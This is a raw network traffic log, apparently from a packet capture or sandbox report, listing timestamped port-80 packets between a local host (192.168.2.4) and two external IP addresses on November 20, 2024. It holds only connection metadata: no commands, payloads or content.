Nov 20, 2024 04:08:16.990468979 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990479946 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:16.990524054 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:16.990571976 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.008363008 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.008407116 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.008434057 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.008446932 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.008459091 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.008483887 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.008486032 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.008526087 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.008546114 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.008583069 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.008590937 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.008619070 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.008624077 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.008656025 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.008661032 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.008692026 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.008698940 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.008732080 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.008738995 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.008771896 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009385109 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009432077 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009449959 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009469032 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009491920 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009529114 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009540081 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009563923 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009577036 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009603024 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009612083 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009644985 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009659052 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009696960 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009706974 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009731054 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009740114 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009767056 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009777069 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009807110 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009835005 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009871960 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009886026 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009912014 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.009918928 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.009955883 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.010030985 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010066986 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010078907 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.010101080 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010116100 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.010149002 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.010159016 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010198116 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010212898 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.010231018 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010241032 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.010267973 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010274887 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.010304928 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010310888 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.010349035 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.010674000 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010716915 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.010904074 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010938883 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010952950 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.010976076 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.010984898 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011010885 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011020899 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011059999 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011075974 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011111021 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011121988 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011147976 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011157036 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011183023 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011199951 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011219025 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011221886 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011255980 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011265993 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011292934 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011297941 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011337042 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011804104 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011838913 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011850119 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011878014 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011883974 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011912107 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.011915922 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.011955976 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.048187017 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048255920 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048312902 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048332930 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.048388958 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048444986 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048445940 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.048499107 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048547983 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.048549891 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048585892 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048621893 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048635960 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.048652887 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048687935 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048697948 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.048722982 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048754930 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048770905 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.048790932 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048825026 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048840046 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.048866034 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048898935 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.048918962 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.056648016 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.056705952 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.056767941 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.056802034 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.056837082 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.056852102 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.056893110 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.056930065 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.056942940 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.056965113 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.057017088 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.057018042 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.057070017 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.057106018 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.057115078 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.057136059 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.057169914 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.057183981 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.057214022 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.057224989 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.057260036 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.057260990 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.057296991 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.057310104 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.059751034 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.059806108 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.059813023 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.059839010 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.059883118 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.059891939 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.059922934 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.059973955 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.059977055 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.060013056 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.060041904 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.060059071 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.060095072 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.060210943 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.061552048 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.061585903 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.061620951 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.061633110 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.069490910 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069550991 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069550991 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.069564104 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069600105 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069617987 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.069637060 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069670916 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069686890 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.069708109 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069741964 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069760084 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.069792032 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069824934 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069839001 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.069880962 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069931984 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.069936037 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.069972038 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070004940 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070017099 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070043087 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070060015 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070094109 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070096016 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070128918 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070139885 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070164919 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070198059 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070211887 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070231915 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070266962 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070278883 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070302963 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070357084 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070369959 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070405960 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070440054 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070456028 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070476055 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070508003 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070523024 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070543051 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070578098 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070591927 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070614100 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070647001 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070662975 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070684910 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070718050 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070734024 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070755959 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070790052 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070801973 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070825100 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070859909 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070873976 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070910931 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070944071 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.070951939 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.070981979 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.071033001 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.071099043 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.071136951 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.071151018 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.071180105 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.071187019 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.071235895 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.072237015 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.072283030 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.072331905 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.072341919 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.072384119 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.072419882 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.072437048 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.072457075 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.072495937 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.072510004 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.076159954 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076216936 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.076252937 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076292038 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076329947 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076345921 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.076385021 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076436043 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.076436043 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076481104 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076493025 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076528072 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076536894 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.076577902 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.076586962 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076625109 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076659918 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076673985 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.076695919 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076744080 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.076749086 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076782942 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076818943 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076831102 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.076868057 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076906919 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076920033 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.076944113 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.076984882 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.077018023 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.077029943 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.077056885 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.077066898 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.077092886 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.077137947 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.078389883 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.096496105 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.096543074 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.096561909 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.096582890 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.137254000 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137326002 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137362957 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137384892 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.137398958 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137438059 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137465954 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.137474060 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137509108 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137521982 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.137546062 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137581110 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137598038 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.137615919 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137629986 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137662888 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.137666941 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137701988 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137722969 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.137758970 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137805939 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.137811899 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.137850046 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.137891054 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.137901068 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.137932062 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.137933016 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.137964010 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.137976885 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138000011 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138006926 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138045073 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138056040 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138097048 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138102055 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138109922 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138134003 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138139009 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138158083 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138179064 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138231993 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138267040 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138279915 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138303995 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138313055 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138339043 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138343096 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138389111 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138463020 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138508081 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138515949 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138551950 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138562918 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138586044 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138596058 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138622999 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138628006 CET	62476	80	192.168.2.4	185.215.113.16
